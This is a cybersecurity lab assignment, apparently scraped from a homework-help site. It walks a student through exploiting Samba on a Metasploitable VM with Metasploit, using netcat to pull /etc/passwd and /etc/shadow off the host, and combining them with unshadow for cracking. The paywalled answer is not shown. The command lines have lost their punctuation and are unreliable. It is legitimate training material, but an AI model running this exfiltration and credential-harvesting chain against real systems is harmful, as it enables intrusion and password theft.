Question: In this Lab, you will be exploiting the Samba implementation on Metasploitable as well as use netcat to exfiltrate data Ensure that both the Kali
In this Lab, you will be exploiting the Samba implementation on Metasploitable as well as use netcat to exfiltrate data
Ensure that both the Kali and the metasploitable machines are powered on and on the same network. Verify connectivity between them by using the ping command.
Run nmap against the metasploitable machine using the following command
sudo nmap sV vvv make a note of open ports and services
make a note of what port is VSFTPD service running
On your Kali machine launch the metasploit framework
Search for Samba exploits based on version identified in nmap results
msf search type:exploit name:samba
Select the exploit matching the version note that the search option may not provide a lot of information so you will likely have to try multiple exploits to make it work
Select the exploit by using command below
use exploitxxxxx
Set required options by using set command hint RHOSTS, and possibly payload
Execute the exploit this should open a session on the exploited host
Open another Kali terminal window
Launch netcat in a listen mode and redirect output to a file as shown
nc l p passwd.txt
From the exploited system terminal session opened from metasploit exploit you executed type the following commands to extract the etcpasswd
cat etcpasswd nc there will be no progress bar and there should be no error messages
go back to the listening netcat window and terminate it using CTRLC Cat the contents of the passwd.txt file using command below
cat passwd.txt
Start another netcat command but redirect the contents to shadow.txt instead of passwd.txt use the same command as in Step just change passwd.txt to shadow.txt
From the exploited system terminal session opened from metasploit exploit you executed type the following commands to extract tetcshadow file
cat etcshadow nc there will be no progress bar and there should be no error messages
go back to the listening netcat window and terminate it using CTRLC Cat the contents of the passwd.txt file using command below
cat shadow.txt
On your kali box combine the contents of passwd.txt and shadow.txt using the command below
unshadow passwd.txt shadow.txt userloginstxt
What is the content of the combined userloginstxt file include screen shot
Step by Step Solution
There are 3 Steps involved in it
1 Expert Approved Answer
Step: 1 Unlock
Question Has Been Solved by an Expert!
Get step-by-step solutions from verified subject matter experts
Step: 2 Unlock
Step: 3 Unlock
